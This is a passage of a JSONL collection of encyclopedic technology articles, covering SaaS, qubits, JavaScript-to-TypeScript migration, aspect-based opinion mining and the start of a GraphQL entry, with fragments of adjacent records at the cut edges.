publishes Release 16 specifications. SSB-based inter-frequency measurements can be done without measurement gaps if SSB is within active DL BWP of UE. UE reports some measurements to assist the network configure measurement gaps for location-related measurements. \n\nJan  \n2021\n\nFor positioning measurements, MGL of 10 and 20ms are introduced.","meta":{"title":"5G NR Measurement Gaps","href":"5g-nr-measurement-gaps"}}
{"text":"# Software as a Service\n\n## Summary\n\n\nSoftware-as-a-Service (SaaS) is a software delivery model that allows multiple users to use a software hosted on a cloud server. It has replaced the traditional model of software installation on on-premise servers and desktop computers. \n\nSaaS leads to rapid deployment, better user adoption, reduced support needs and less maintenance overheads. Customer support is also faster and more efficient than traditional on-premise software. Salesforce, Dropbox, Cisco and Webex are some famous examples of SaaS providers. \n\nWhile adoption of SaaS solutions has been exponential, there are still some organizations reluctant to adopt SaaS mainly due to the risk of data security and limited customization.\n\n## Discussion\n\n### What's the reason of exponential growth of SAAS?\n\nSAAS has replaced the traditional on-premises software which needed to be installed at organizations. On-premise software have many hidden costs in terms installation, maintenance, personnel training or even downtime. SAAS has eliminated the hardware installation & maintenance cost of software. It allows the users to only focus on their dedicated services without thinking about availability, speed or maintenance of the software. Also, it is very easier to use than traditional on-premises software. \n\nIn SaaS deployment models, software vendors are responsible for the reliability of the software delivery platform, IT infrastructure, software development, hardware maintenance, security, user support and data backup. The consumer can be assured of the reliability of the hosted software service through a contract called a service level agreement (SLA). \n\nSaaS proved to be a profitable model for both consumers & software vendors. While consumers could avoid the overhead of maintenance & in-house IT resources, vendors could have more economic benefits in software production and distribution and a shorter product development lifecycle. \n\nDue to these competitive advantages over traditional software SaaS grew exponentially over the years.\n\n\n### What are some famous examples of SaaS?\n\nThere are multiple examples of SaaS based companies, that not only affect our day-to-day lives but also generate millions of dollars in revenue. Some famous examples of SaaS are as following-\n\n**Salesforce**: It is a cloud-based CRM (Customer Relationship Management) used to boost the sales of organizations by managing all the leads and prospects at one place.It is one of the oldest & most esteemed examples of SaaS. It was launched in the year 1999. It generates a revenue of 13.28 billion USD. \n\n**Dropbox**: It is a cloud-based file storage platform used to store and access files worldwide. It's one of the reputed startups of USA. It was launched in the year 2007 & generates a revenue of 1.6 billion USD. \n\n**Google Applications (G suite)**: Google provides a bunch of SaaS applications inside G suite such as Gmail, Google Docs, Google Sheets, Google Drive & many more which makes our daily professional life very easy & convenient. It was launched in the year 2006 & generates a revenue of 2.6 billion USD. \n\n\n### What are different types of SaaS architectures?\n\nDifferent types of SaaS architectures as following -\n\n**Monolithic Architecture**: The monolithic SaaS software is an indivisible module consisting a big database & a solution that is built around a server-side and client-side interface. All the functions are managed and served at one location.  \n\n**Microservices Architecture**: In this architecture, each function of the SaaS product is an independent module that can be deployed separately as required. Application Programming Interfaces (APIs) enable modules to communicate with each other and sync their independent processes to work as one single entity. Each service can be upgraded, updated, and scaled separately.  \n\n**Single-tenant Architecture**: This architecture serves a dedicated client. Dedicated software instance, infrastructure & database is given to the client. \n\n**Multi Tenant Architecture**: Unlike single tenant architecture, multi-tenant architecture allows sharing resources. Each tenant's data is secured and protected. \n\n\n### What does it take to build a SaaS product?\n\nBelow are the steps to create a SaaS product-\n\n**Analyze the market**: The prior step is to analyze the market. Questions such as who is the target customer?, who are the competitors?, what is the problem that the product will solve? should be asked. \n\n**Develop a business & marketing plan**: Plan for making the SaaS product unique, profitable & successful in solving the targeted problem. \n\n**Define SaaS requirements** There are many common characteristics of SaaS solutions such as multi-tenancy, optimized solution and data security . Decide the features & functionalities of the product. \n\n**Choose the technical stack**: The technology stack is list of programming languages, frameworks and tools used to develop the software. Decide the preferred technologies for front-end, back-end & database of the SaaS product. \n\n**Choose the SaaS hosting provider**: There are many SaaS hosting providers such as Amazon (AWS), Google, Microsoft, Heroku and many more. Choose any of them to host the software. \n\n**Create the team**: For the success of the SaaS product, a team of experts in different fields such as marketing & designing should be made. One can also hire a software development company for developing the software. \n\n\n### What are some important characteristics of SaaS?\n\nFollowing are some important characteristics of a SaaS product-\n\n**Total cost of ownership (TCO)**: There are no hidden costs in SaaS. \n\n**Data Security**: Data security is an important aspect of any SaaS product. Due to multiple users, it's important to encrypt the data of each user. \n\n**Scalability**: Resources are allocated/released dynamically to serve immediate performance requirements. SaaS can scale vertically (more powerful resources) or horizontally (more resource instances). \n\n**Multi-tenant**: Multi-tenant is a method in which a single software hosted on a remote server, serves multiple clients(tenants). Muti-tenancy allows faster updates deployment. \n\n**Personalised Customization**: Unlike the on-premises software, users can customize the software accordingly at both UI level & software business logic level. \n\n**Optimized utilization** Customers can purchase exactly the requirements(data storage, bandwidth, software features) & can extend it whenever they want. \n\n**Subscription fee**: The consumers pay a monthly/annually fee to use the software. Hence, they save the costs of software installation, maintenance & upgradation. \n\n**Reliability**: The requirements of businesses to run 24/7 is fulfilled efficiently with SaaS. Many vendors mention the reliability promise as an integral part of their contract, guarranting an uptime of upto 99.5 per cent. \n\n\n### What is Open SaaS?\n\nOpen SaaS is a form of SaaS that is built on open-source code. Such software are initially developed by an individual or organization but later used & improved by many developers. OpenStack, OpenNebula, Cloudify, Wordpress, OpenShift and CloudStack are good examples of Open SaaS. \n\nMajor upgrades & product updates are controlled by the central provider whereas the community of users also contribute to the development of the software. \n\nWhereas Wordpress is developed by the company Automattic, it is completely open source, in terms of both licensing & practical usage. Automattic never charged a penny to the thousands of Wordpress-based website owners while many developers who contributed in making continous improvements in WordPress code base and plug-ins never received a dollar for it. \n\n\n### What's the difference between vertical & horizontal SAAS?\n\nHorizontal SaaS is a type of SaaS that targets a wider network of businesses, regardless of their industry. Examples of Horizontal SaaS are QuickBooks (accounting) and Salesforce (CRM). Horizontal SaaS is more familiar than Vertical SaaS. Due to targeting a wider market, Horizontal SaaS business owners manage to acquire the customers at a lower cost.\n\nWhereas, Vertical SaaS software are made for a specific niche industry. BioIQ(MedTech) & Health Assurance Plan(dental software) are examples of Vertical SaaS software. Due to a industry specific solution, the size of potential market for Vertical SaaS owners is lower. Vertical SaaS solutions are often made by the experts of a certain industry. \n\n\n### What can be the challenges of adopting SaaS?\n\nConsumers can face some challenges in adopting SaaS. Adopting SaaS model involves risks in terms of data recovery and migration, high switching costs, lack of software customization features and integration with software. There is a risk of losing important data for consumers while migrating the data from one SaaS vendor to another. Service suspension due to lack or delay of payment can also cause data loss. Customers may find it hard to customize features with SaaS. The critical & important data of enterprises should also be kept hidden to other users of the service. Availability of the services is also a big concern. The disruption of the Amazon cloud service in the year 2011, took down a number of websites including Reddit, Foursquare, and Quora. SaaS works on a muti-tenancy model in which data of different users reside at the same location. Intrusion of data of one user by another becomes possible in this environment. \n\nWeak cloud standards can also resist enterprises from adopting SAAS. SAS 70 Audit is a common cloud standard. ISO 27001 is a better cloud standard than SAS 70 Audit. \n\n## Milestones\n\n1999\n\nSalesforce, a company based on the complete SaaS software is released. It serves the purpose of Customer Relationship Management (CRM). \n\n2006\n\nAmazon introduces Amazon Web Services(AWS), providing on-demand cloud computing platforms and APIs to individuals, companies, and governments. Now, developing & hosting the SaaS software becomes easy for SaaS developers. \n\n2020\n\nThe market size of SaaS reaches to 157 billion US dollars.","meta":{"title":"Software as a Service","href":"software-as-a-service"}}
{"text":"# Qubit\n\n## Summary\n\n\nIn classical computing and digital communications, a bit is the most basic unit of information. Similarly, a qubit or quantum bit is the basic unit of quantum information in quantum computing. A qubit is the quantum version of the classic binary bit physically perceived by a two-state device. \n\nA quantum computer can utilise a variety of basic particles such as electrons or photons. In fact, ions accomplish success through their charging or separation, which serves as a symbol of 0 and/or 1. A qubit is a unit of measurement for each of these particles. The character and conduct of these particles, as demonstrated in quantum theory form the basis of quantum computing. The two most important aspects of quantum physics are the principles of Superposition and Entanglement.\n\n## Discussion\n\n### What is the physics of Qubit?\n\n**Qubit is a two-dimensional quantum-mechanical system (or two-dimensional) system**, one of the simplest quantum systems that reflects the rarity of quantum mechanics. Examples include electron rotation where two levels can be considered as spin up and spin down; or polarization of a single photon in which two regions can be considered as direct polarization and horizontal polarization. \n\nIn the classical system, the bit will have to be in 0 or 1. However, quantum mechanics allows qubit to occupy a high degree of coherence for both regions simultaneously, a basic position in quantum mechanics and quantum computing. \n\nTo create a qubit, an object capable of achieving quantum superposition between two states is required. One type of qubit is an atomic nucleus. The orientation of its magnetic moment, that is, its \"spin\", can point in different directions in relation to a magnetic field, such as up or down. The difficulty is in locating and then dealing with that solitary atom. \n\n\n### How is Qubit represented in the form of an equation?\n\nThe two basis states (or vectors) are commonly expressed as 0 and 1 (pronounced 'ket 0' and 'ket 1'), as this corresponds to the standard bra-ket nomenclature for quantum states. As a result, a qubit can be viewed as a quantum mechanical counterpart of a traditional data bit. A linear quantum superposition of those two states is a pure qubit state. **Each qubit can be represented as a linear combination of 0 and 1 in this way:** \n\n**where α and are β the amplitudes of complex probability.** \n\n**α and β are constrained by the equation:** \n\n**\\(∣α∣^2 + ∣β∣^2 = 1\\).** \n\nThe probability amplitudes, α and β, encode more than just the probabilities of the outcomes of a measurement; the relative phase between α and β is for example responsible for quantum interference, as seen in the two-slit experiment. \n\n\n### How is a Qubit different from a Bit?\n\nQubits are counted in the same way that bits are, using the binary system of 0 and 1. A bit's state can only be 0 or 1, whereas a qubit's state can be both 0 and 1 at the same time. \n\nAccording to quantum mechanics, a qubit's general state can be a coherent superposition of both. The duration of qubit coherence, is used to compare the quality of qubits as it indicates how long a qubit keeps its information and, as a result, determines its lifetime. \n\nA measurement of a qubit, would disrupt its coherence and irreversibly damage the superposition state, although a measurement of a classical bit would not. One bit can be entirely encoded in a single qubit. A qubit can store more data, such as up to two bits utilizing superdense coding. Superdense coding, often known as dense coding, is a quantum communication protocol in quantum information theory. It allows a sender and receiver to communicate a number of classical bits of information using only a few qubits, given that the sender and receiver had previously shared an entangled resource. \n\n\n### What technologies help in keeping Qubits in their coherent state?\n\n**Superconducting Qubits:** \n\nThe most sophisticated qubit technology is currently superconducting qubits. Most existing quantum computers, including the one that \"surpassed\" the world's fastest supercomputer, use superconducting qubits. They use Josephson junctions, which are metal-insulator-metal sandwiches. Scientists chill these materials to incredibly low temperatures to make them into superconductors - materials that transmit electricity without loss. Pairs of electrons, for example, pass through the material as if they were single particles. The quantum states are more long-lived as a result of this movement than in conventional materials. \n\n**Defects and Qubits:** \n\nThe movements of electrons in materials are altered by the gaps formed by deficiencies in a material's structure. These gaps confine electrons in particular quantum materials, allowing researchers to access and regulate their spins. Unlike superconductors, these qubits don't have to be kept at extremely low temperatures always. They have the potential for lengthy coherence times and could be mass-produced. \n\nQuantum computing can also use three-state or multilayer states, which can be decoupled to conduct operations in qubits, while two-state systems are the most common. The storage is always consistent, which helps with data storage and the development of complex systems. \n\n\n### What does it mean for two Qubits to be entangled?\n\n**Entanglement** is another counter-intuitive phenomenon in quantum physics. When each particle's quantum state cannot be characterised independently of the quantum state of the other, a pair or group of particles is said to be entangled. Although the parts of the system are not in a distinct state, the quantum state of the system as a whole can be stated. \n\nThere is a particular link between two qubits when they are entangled. The results of the measurements will reveal the entanglement. The measurements on the various qubits could result in a 0 or a 1. However, the result of one qubit's measurement will always be correlated with the result of the other qubit's measurement. Even when the particles are separated by a considerable distance, this is always the case. The Bell states are an example of such states. \n\n\n### What is Qudit?\n\n**The superpositions that qubits can allow them to assist in the execution of two calculations at the same time.** When two qubits are quantum-mechanically coupled, or entangled, they can aid in the simultaneous execution of four calculations; three qubits, eight calculations; and so on. As a result, a quantum computer with 300 qubits might execute more computations in an instant than the known universe's atoms, solving certain problems significantly faster than classical computers. However, superpositions are extremely fragile, making working with several qubits problematic. \n\n**Qudit is a multi-level computational unit that surpasses the two-level qubit.** Qudit, as compared to qubit, has a broader state space in which to store and process information, allowing for a reduction in circuit complexity, simplification of the experimental setup, and improved algorithm performance. \n\n## Milestones\n\n1959\n\nRichard Feynman states the possibility of using quantum effects for computation. \n\n1973\n\nAlexander Holevo publishes a paper showing that n qubits can carry more than n classical bits of information, but at most n classical bits are accessible (a result known as \"Holevo's theorem\" or \"Holevo's bound\"). Charles H. Bennett shows that computation can be done reversibly. \n\n1976\n\nPolish mathematical physicist Roman Stanisław Ingarden publishes a seminal paper entitled \"Quantum Information Theory\" in Reports on Mathematical Physics, vol. 10, 43–72. It is one of the first attempts at creating a quantum information theory, showing that Shannon information theory cannot directly be generalized to the quantum case, but rather that it is possible to construct a quantum information theory, which is a generalization of Shannon's theory, within the formalism of a generalized quantum mechanics of open systems and a generalized concept of observables (the so-called semi-observables). \n\nMay  \n2016\n\nIBM Research announces that for the first time ever it is making quantum computing available to members of the public via the cloud. \n\nOct  \n2017\n\nIBM Research scientists successfully \"break the 49-qubit simulation barrier\". \n\n2017\n\nIBM, Intel, and Google each report testing quantum processors containing 50, 49, and 72 qubits. \n\nJun  \n2018\n\nIntel begins testing a silicon-based spin-qubit processor. \n\nMar  \n2012\n\nCaltech physicist John Preskill describes the moment when \"well-controlled quantum systems can perform tasks surpassing what can be done in the classical world\" as the arrival of \"quantum supremacy.\" \n\nOct  \n2019\n\nGoogle announces it has achieved quantum supremacy - marking a huge milestone in the advancement of practical quantum computing.","meta":{"title":"Qubit","href":"qubit"}}
{"text":"# JavaScript to TypeScript Migration\n\n## Summary\n\n\nLarge projects can benefit from migrating their JavaScript code to TypeScript. Due to TypeScript's support for static types and good tooling, type-related problems can be caught during development and at compile time. However, migrating a large codebase can be a daunting task but this is easier than imagined in TypeScript.\n\nSince TypeScript is a superset of JavaScript, the TypeScript compiler can deal with JavaScript files as well, leaving them untouched and skipping type checks. This means that migration can happen incrementally, file by file. Tools are available to refactor code during the migration process.\n\nIt's also been observed that the workflow for TypeScript projects is lot easier now than what it used to be. This means that TypeScript can be adopted for even small projects.\n\n## Discussion\n\n### Could you share some case studies of JS-to-TS migration?\n\nLucidchart migrated their entire codebase of 600k lines across 2840 files in just three days, resulting in 500k lines of TypeScript code. About 80% of the conversion was aided by tools. They made a dependency graph in a spreadsheet, started converting from the leaves and moved up file by file. At each step, they checked that TS files compiled successfully. After pushing to production, the team expected issues to arise but none were reported. \n\nOne developer reported that his code size (involving 180+ files) increased 30% when moving from JavaScript to TypeScript. In general, this may be acceptable in large projects where the benefits of type checking are far greater. \n\nThe fact that all JavaScript is valid in TypeScript was seen in a Dojo-AMD project. AMD module imports were converted to ES6-style understood by TypeScript. Loading of plugins and exporting of modules were updated. Otherwise, no additional changes were required. \n\n\n### What's the recommended procedure for migrating my JavaScript codebase to TypeScript?\n\nThe simplest approach is to create a new TypeScript project and add all legacy JavaScript code into it. TS compiler will understand JS source code, although without the type checking. This is possible due to `allowJs` option. Any new files that you create should be in TypeScript. \n\nYou can start adding type checking to existing JS files using type declaration files, of extension `*.d.ts`. Use the `types` option when invoking the TS compiler. At a later stage, you can refactor your JS files into TS files, at which point type declaration files become redundant. \n\nGradually, legacy code can be migrated. Simply rename `*.js` files to `*.ts` files. Then start introducing type declarations in the legacy files, although TypeScript's type inference can resolve types in most cases. Linting can throw up a lot of issues when JS files are renamed to TS files. One approach is to disable linting by adding `// tslint:disable` at the start of all legacy files. Then, enable linting file by file when you start working on them. \n\n\n### Do you have any tips for refactoring JS code to TS?\n\nSince TypeScript is object-oriented, convert function constructors to class constructors. Give member variables explicit access modifiers. Use `public` but you can restrict access using `protected` or `private`. Replace instance methods with arrow methods, which will use `this` reference to the object. Replace prototype methods with methods. \n\nTo pass TS compilation, you may be tempted to use `any` type: avoid doing this. However, since migration is often incremental, allow TypeScript to automatically infer the `any` type if type is not specified. You can suppress this behaviour later using the `noImplicitAny` option. \n\nLegacy code might contain runtime type checks and related exception handling. Because now type checking is done at compile time, these extra bits of code can be removed. This can even improve performance. \n\nWhen migrating security code, it's recommended that critical code be migrated to TS first. App and third-party code can be migrated later.\n\n\n### What extra configuration should I do in a TypeScript project?\n\nJavaScript executes directly within a JS runtime. This is not possible with TypeScript. TypeScript files have to converted to JavaScript (called *transpilation*) before they can be executed. Hence a TypeScript project must be set up to automate this conversion.\n\n**Webpack** can be set up with a config file `webpack.config.js`. This can make use of `ts-loader` to load TS files and `json-loader` for JSON files. Type declarations for third-party JS modules can be installed from **@types**. For example, to install \"prompt-sync\" you can do `npm install --save-dev @types/prompt-sync`. Another possible loader to use is `awesome-typescript-loader`. This can be combined with `source-map-loader` to assist source level debugging. \n\nNote that it's common for JavaScript projects to use a transpiler to convert between different versions of JavaScript. This is particularly true on the web where code has to run correctly on old browsers. If your JS project is already setup to do this, migrating to TS is even easier. For example, a React project might be using Webpack and Babel. This can be reconfigured so that Webpack reads the output of TypeScript compiler rather than the original JS code. \n\n\n### As a beginner, should I learn JavaScript before moving on to TypeScript?\n\nTypeScript is a superset of JavaScript. It doesn't hide JavaScript syntax. For this reason, beginners are encouraged (but not required) to learn JavaScript. In fact, TypeScript shouldn't be used to bring non-JS developers to the frontend. \n\nBefore migrating to TypeScript, it's good to ask what's the background of those who will be working on it. In one instance, a team of C# developers could quickly learn TypeScript for frontend work. In fact, developers with a background in object-oriented programming will be able to pick up TypeScript easily. \n\n\n### Are there tools to automate JS-to-TS migration?\n\nBack in 2015, JetBrains described how easy it is to use **ReSharper 9** tool to perform conversions. Some of the limitations of the tool are possibly removed in later updates. The tool allows us to convert a file, an entire folder, a project or a solution. \n\nNpm package js-to-ts-converter may also help. Airbnb's ts-migrate may also help to automate the migration. However, a manual follow-up is needed to improve type safety. \n\nIf you're using Closure-annotated JS, **gents** (open sourced by Google) can be used to convert to TypeScript. Related tools are clutz and tsickle.\n\n## Milestones\n\nFeb  \n2016\n\nTypeScript 1.8 starts supporting compiler option `allowJs`. This makes it easier to directly use JS files within a TypeScript project. TypeScript compiler will do basic sanity checks on JS files but otherwise pass them to the output.  \n\nJul  \n2016\n\nType definitions are now available via NPM at `@types`. This deprecates earlier approaches: DefinitelyTyped, TSD, Typings. As on April 2019, more than 6,300 packages have type definitions.\n\nDec  \n2018\n\n**Babel 7** is released with support for TypeScript. This means that TypeScript can be transpiled to JavaScript using Babel. Thus, TypeScript-based projects can continue to benefit from Babel's rich ecosystem and plugins. TypeScript compiler can still be used for type checking.","meta":{"title":"JavaScript to TypeScript Migration","href":"javascript-to-typescript-migration"}}
{"text":"# Aspect-Based Opinion Mining\n\n## Summary\n\n\nAspect-Based Opinion Mining (ABOM) involves extracting aspects or features of an entity and figuring out opinions about those aspects. It's a method of text classification that has evolved from sentiment analysis and named entity extraction (NER). ABOM is thus a combination of aspect extraction and opinion mining. While opinions about entities are useful, opinions about aspects of those entities are more granular and insightful.\n\nThe ABOM workflow constitutes initial text pre-processing, POS tagging, splitting sentences to extract aspects and classifying them into various dimensions/buckets. \n\nA 2018 survey states that 90% of the total data in world has been generated in last two years in the form of tweets, text, images and video. ABOM is therefore important in analyzing this unstructured data.\n\n## Discussion\n\n### What is opinion mining and its importance?\n\nSuppose a written or spoken content expresses an opinion about some subject. Extraction of these opinions is called **opinion mining**. For example, \"Adam was very satisfied with the flavour of black tea at Starbucks\". Here we extract a positive opinion about black tea (entity) whose aspect is flavour.\n\nWith increased use of online transactions and service-based industries, there has been immense growth of consumer reviews and opinions through voice or text. Opinion mining finds out sentiments from these reviews and estimates customer satisfaction. \n\nSentiment analysis and opinion are related. Sentiment analysis is first done to extract positive, negative or neutral sentiments. This leads to opinion mining using various text classifiers. \n\n\n### What do you mean by aspects and why are they relevant?\n\nConsider the example of \"ice-cream\" as the entity. Aspects or features of this entity include flavour, temperature, taste, presentation, etc. A person may express that he disliked the ice-cream but this is expressing opinion on the overall entity. If we analyze this deeper, we may find that the person liked the flavour and the presentation but didn't like the taste. Thus, figuring out opinions on specific aspects gives more useful information that can aid decision making. \n\nWith \"restaurant\" as the entity, its aspects could include food, service, price, ambience, etc. Often user reviews or ratings of the restaurant as a whole is not actionable. However, if we know that the food was great but the music was terrible, the restaurant owner can take actions to improve on specific aspects. \n\n\n### What's the workflow of ABOM?\n\nABOM involves data collection, data cleaning, extraction of aspects and entities, classification of aspects and entities, sentiment scoring of aspects, evaluation and validation. \n\nText is typically split into sentences and parsed according to Named Entity Recognition (NER), which extracts the entities. With aspect mining, we find out features or characteristics of these entities.  There are some automated aspect extractor APIs. The output from such APIs can be validated and improved manually. \n\nData pre-processing is time consuming. Selecting and training aspects of entities are complex tasks. Some approaches include aggregate score of opinion words, SentiWordNet, aspect table, dependency relations, emotion analysis using lexicon and semantic representation. \n\nOpinion mining is usually a rule-based approach where frame certain rules to identify most used words. These are further analyzed and processed. A dictionary-based approach is to curate common words of aspect terms for further classification according to various domains.\n\n\n### Could you describe the classification of opinions in ABOM?\n\nClassification of opinion completely depends on the dataset and business problem. Opinion classification could be trend based, aspect based, sentence based, etc. from tweets, reviews, blogs and others. The most versatile way of classification holds positive and negative analysis.\n\nSimilarly, classification can be done on a multi-aspect basis using co-occurrence of aspects and sentiments, aspect-sentiment hierarchy and polarity classification of sentiments. These are different approaches of classification where aspects are filled in different buckets according to polarity from sentiment scores or design/occurrence of aspects with POS tags. \n\nThere are several researchers who work on automatic aspect generation and classification after effective cleaning of unwanted and irrelevant sentences. Insignificant words or sentences make the data noisy and degrade the classification accuracy. To get rid of this, automatic aspect extraction methods like fuzzy aspect based opinion classification can be used. This method covers the demerits of infrequent and coreferential aspects and gives a good classification accuracy.\n\n\n### What are some techniques for extracting aspects?\n\nAmong the **supervised** techniques are Hidden Markov Model (HMM), Conditional Random Fields (CRFs) and dependency tree kernels. Among the **unsupervised** ones are frequency or statistical methods, rule-based methods, and Pointwise Mutual Information (PMI). Latent Dirichlet Allocation (LDA) from topic modelling has also been adapted and applied.  \n\nPMI is a score that indicates how often a candidate aspect co-occurs with an entity. Low PMI implies it's probably not an aspect. PMI has been used along with Term Frequency-Inverse Document Frequency (TF-IDF). \n\nSome techniques are able to extract both explicit and implicit aspects. Association rule mining and clustering have been adapted for extracting implicit aspects. Dependency rules and lexicons such as WordNet and SenticNet have been used to identify implicit aspects. \n\nSome techniques jointly model both aspects and opinions. One well-known technique is called **double propagation** that exploits syntactic relations of opinion words and aspects. From known opinion words, aspects can be extracted. From known aspects, new opinion words can be identified; and so on. \n\nNeural network approaches such as CNN, LSTM, and attention mechanisms have been applied as well. \n\n\n### Could you share some tips and best practices for doing ABOM?\n\nWhen extracting aspect, we must always know which entity it belongs to. Consider for example \"The picture quality of this camera is amazing\" versus \"I love this camera\". In the former sentence, \"picture quality\" is the aspect. In the latter sentence, camera entity is evaluated as a whole and hence the aspect is \"general\". \n\nIt's essential to consider the domain of application. The phrase \"please go and read the book\" is a positive opinion for a book review but a negative one for a movie review. This implies that we should train our models with domain-specific data. \n\nSometimes opinion words on their own are inadequate. They need to be analyzed along with the aspect. For example, even within the same domain of digital cameras, \"long\" can either be positive or negative depending on the context, such as \"long battery life\" versus \"takes long time to focus\". \n\n\n### For a developer, what are some resources and projects to learn ABOM?\n\nOne can start an ABOM project from online reviews. There are many e-commerce and social websites containing thousands of reviews on any topic, person or product. Twitter, Facebook, Amazon, MouthShut, and Yelp are example sources.\n\nThese reviews can be scraped using any API or libraries like BeautifulSoup or Scrapy in Python. Some sample projects can be aspect-based sentiment analysis for e-commerce websites or restaurants. In latent aspect rating analysis, ratings were predicted using the latent opinions from review text data. This work can be replicated in different industries such as hospitality, automotive, and education. \n\n\n### What are some industrial applications of ABOM ?\n\nABOM applications is spread out across various industries wherever there is customer feedback. Examples include travel, automotive, hotel, tourism, ecommerce and many more.\n\nUsually, before any hotel booking, people read reviews. We can distribute these into several buckets like service, ambience or hygiene. This makes it easier for customers to compare different hotels. Similarly, there are several websites for travel like Yelp, Trip Advisor or MakeMyTrip that categorize the service into relevant aspects and shows it in the form of ratings.\n\nIn every industry, reviews are broken down into aspects and rated it according to domain knowledge. Good domain knowledge is essential for better decision making. Before any drug trials or testing, there needs to be a lot of expert opinion from doctors and domain-specific experts. This work takes very long to come to a conclusion. ABOM simplifies it by rating several aspects like adverse reactions, efficacy of a drug, symptoms and conditions of patients. \n\n## Milestones\n\n2000\n\nThe early 2000s, sees the birth of social networking sites. Blogs, online reviews, and other forms of unstructured content online become common. This leads to **opinion classification** from web documents, which are assessed for positive or negative sentiments. \n\n2004\n\nWork on opinion mining starts with the realization that importance of opinions on various aspects is more insightful rather than summary of reviews. At this time, ABOM is named **feature-based opinion mining**. Researchers start working on text summarization and **opinion mining** due to large scale availability of customer reviews and an increasing demand for customer satisfaction.\n\n2007\n\nAspect evaluation relations and aspect-of relations are combined together. Contextual and statistical combination started to be used in text classification based on opinions. \n\n2011\n\nResearchers start to rank aspects according to various web-based opinions after training them. New **opinion search engine** is proposed. This searches for the item along with its summary of sentiments across features. This gives a start to **automatic aspect extraction**. \n\n2013\n\nAspect based opinion mining is now popular in many industries. This enhances consumer satisfaction and drives **decision making**. Techniques begin to recognize explicit versus implicit aspect expressions. Precision and recall scores from experiments exceed 90%. \n\n2017\n\nDue to millions of online reviews, a user could get confused about the features of product. By scraping online reviews and content, ABOM can now be used as a **personal recommender**. People are given recommendations according to their choices and preferences. \n\n2018\n\nAs a **neural network approach** to ABOM, Long Short-Term Memory (LSTM) is used for extracting opinion target expressions (OTEs) and aspect sentiment polarities. Using various types of neural networks is an art now for researchers and we hope to see better accuracy and automation in ABOM across various industries.","meta":{"title":"Aspect-Based Opinion Mining","href":"aspect-based-opinion-mining"}}
{"text":"# GraphQL\n\n## Summary\n\n\nOften when client apps wish to get data, they have to work with available REST APIs and live with their limitations. To obtain data, they make multiple API calls. In the process, they end up overfetching data and using only some of it. On slow connections, this dampens user experience.  \n\nGraphQL is an alternative to traditional REST APIs but its not meant to replace REST.  You can describe your data with a well-defined GraphQL schema. Clients have the flexibility to get as much data as needed. While API calls are similar to querying databases, GraphQL is not a database language. GraphQL also interfaces nicely with frontend JavaScript frameworks such as React. \n\nGraphQL was created at Facebook and then open sourced. It's now managed by GraphQL Foundation.\n\n## Discussion\n\n### What exactly is GraphQL?\n\nGraphQL is described as \"a query language for APIs and a runtime for fulfilling those queries with your existing data\". You describe your data using a schema. Clients then ask for exactly what they want and nothing more. Thus, control is with the client rather than the server. With SOAP or REST, clients had to work with well-defined endpoints, often making multiple calls to obtain a complete set of data. With GraphQL, a single API call is sufficient to do the same. \n\nGraphQL is not a database language. GraphQL is also not an implementation. It's an open source specification that can be implemented in any language. A GraphQL service sits between your app and the data. It provides a layer of abstraction. Based on a schema, it does validation on the queries and responses. It's APIs are based on types and fields, not endpoints. Clients no longer need to parse responses, since they get data in a form they want it. \n\n\n### Why do we need GraphQL when there's already REST API?\n\nIt's typical in REST to think of data as a resource. Each resource is exposed via an API endpoint. For example, data about a library would consists of books, authors, branch locations, members, staff, and so on. Each of these is typically exposed via its own endpoint. With GraphQL, the entire data is considered as a single interconnected graph of data points. What does this mean? \n\nSuppose you wish to know about books written by an author and the branches where these are available. With REST, we would need to make multiple queries since the information might come from multiple endpoints. With GraphQL, a single request is sufficient since relationships among books, authors and branches are all part of the same data graph. \n\nA book could be identified by a unique integer. GraphQL can validate this. Errors due to type mismatches are caught early by the GraphQL service instead of allowing applications to fail in unpredictable ways. GraphQL also has a feature called Subscriptions that makes it easier to update applications with real-time data. \n\n\n### Why does GraphQL treat my data as a graph?\n\nGraphQL provides a layer of abstraction between the application and the data storage. In this abstraction, GraphQL models data as **nodes**. Connections among these nodes are **edges**. Thus, data is a graph of interconnected objects rather than resources accessed via multiple endpoints. We can call this the *application data graph*. \n\nConsider a library's catalogue of books. Books and authors are the nodes and they are interconnected. An author may have written multiple books. A book may have co-authors. If we query for a specific book and all its authors, GraphQL is basically extracting a subtree from the data graph. Let's note that a tree is also a graph but without any loops. \n\nA tree has a hierarchical structure. The beauty of GraphQL is that the query to obtain a subtree from the graph also has a similar tree structure. We can say that the query and its response have same data shape. This makes it easier to write queries and process the responses.\n\n\n### What are the advantages of using GraphQL?\n\nGraphQL is a specification. Implementations of the GraphQL server in various languages are available. Client implementations are also available to ease the developer's job. \n\nGraphQL does not impose how or where data should be stored. Data may come from multiple databases or REST APIs. There's no need to discard your existing REST API endpoints. GraphQL can work with them. In any case, GraphQL presents a single source of truth. GraphQL eliminates the need to build separate API endpoints for each type of client (web vs mobile). \n\nGraphQL eliminates the \"chattiness\" or the N+1 problem that's inherent in REST APIs. Another point of efficiency is that data is not overfetched. \n\nA UI component can obtain all the data is needs without worrying about how this maps to databases or multiple endpoints. Data fetching is declarative and UI-driven, which is also why many frontend frameworks (React, Angular, Vue) interface nicely with GraphQL. \n\nGraphQL is strongly typed. With **introspection**, we can retrieve GraphQL schema. Versioning like done in REST APIs is not needed. GraphQL API can be updated at field level. \n\n\n### What are the phases of a query in GraphQL?\n\nA GraphQL has to be understood by a GraphQL service before it can respond with the correct data. A GraphQL service tokenizes the query string and then parses the tokens to build the Abstract Syntax Tree (AST). It then validates the query against the schema. If invalid, an error response is returned. If valid, the AST may be reduced to a form that's simpler to execute. If there are any defined query analyzers, they will be called. During execution, resolvers are called to obtain the actual data pertaining to each field.  \n\nThe GraphQL client is not part of the GraphQL specifications but clients simplify processing. Different clients handle the queries and responses differently. For example, Apollo Client normalizes the response and caches it. It also minimizes the original query for efficiency. \n\n\n### Could you briefly introduce common GraphQL terms?\n\nApollo Docs has published a handy GraphQL glossary. Another source is GraphQL's learning page. Here we describe some essential terms:\n\n    + **Query**: A read-only operation to get data from a GraphQL service.\n    + **Mutation**: While a query could be designed to do data writes, this is not recommended. An explicit mutation is recommended.\n    + **Field**: The basic unit of data that we can obtain. GraphQL is in fact about selecting fields on objects.\n    + **Fragment**: A set of fields that can be reused across multiple queries.\n    + **Argument**: Every field and nested object can have an argument, thus enabling us to filter or customize the results.\n    + **Alias**: To avoid naming conflicts in the results, aliases are useful. For instance, we can query the same object with different arguments and get the results in different aliases.\n    + **Directive**: This can be attached to a field or fragment to dynamically affect the shape of data. Mandatory directives are `@include` and `@skip` to either include or 